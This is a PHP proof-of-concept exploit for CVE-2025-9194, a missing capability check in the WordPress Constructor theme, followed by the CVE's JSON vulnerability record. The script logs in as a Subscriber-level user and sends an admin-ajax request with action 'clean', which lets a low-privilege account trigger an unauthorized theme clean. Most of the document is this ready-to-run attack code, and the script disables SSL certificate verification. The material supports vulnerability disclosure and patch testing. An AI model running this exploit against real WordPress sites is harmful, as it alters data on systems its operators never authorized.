CVE-2025-9194

<?php /** * PoC for CVE-2025-9194 * Constructor Theme clean() function missing capability check * * Usage: Modify the target URL and credentials, then execute via CLI or browser * Note: Requires valid WordPress Subscriber-level credentials */ // Target WordPress site with vulnerable Constructor theme (<= 1.6.5) $target_url = 'https://target-wordpress-site.com'; $username = 'subscriber_user'; $password = 'user_password'; // Step 1: Authenticate to WordPress and obtain session cookie $login_url = $target_url . '/wp-login.php'; $cookie_file = '/tmp/wp_cookie_' . md5($target_url) . '.txt'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $login_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In', 'redirect_to'=> $target_url . '/wp-admin/', 'testcookie' => 1, ])); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $login_response = curl_exec($ch); curl_close($ch); echo "[*] Logged in as: $username\n"; // Step 2: Send AJAX request to trigger clean() function without proper capability check $ajax_url = $target_url . '/wp-admin/admin-ajax.php'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $ajax_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'action' => 'clean', // The vulnerable AJAX action ])); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "[*] AJAX request sent to: $ajax_url\n"; echo "[*] HTTP Status: $http_code\n"; echo "[*] Response: $response\n"; // Cleanup @unlink($cookie_file); echo "[*] PoC execution completed.\n"; ?>

{"cve": {"id": "CVE-2025-9194", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:46.210", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Constructor theme for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the clean() function in all versions up to, and including, 1.6.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to trigger a theme clean."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://themes.svn.wordpress.org/constructor/1.6.5/libs/Constructor/Ajax.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d9c479fc-2e98-4851-a36c-2fd219e750ed?source=cve", "source": "[email protected]"}]}}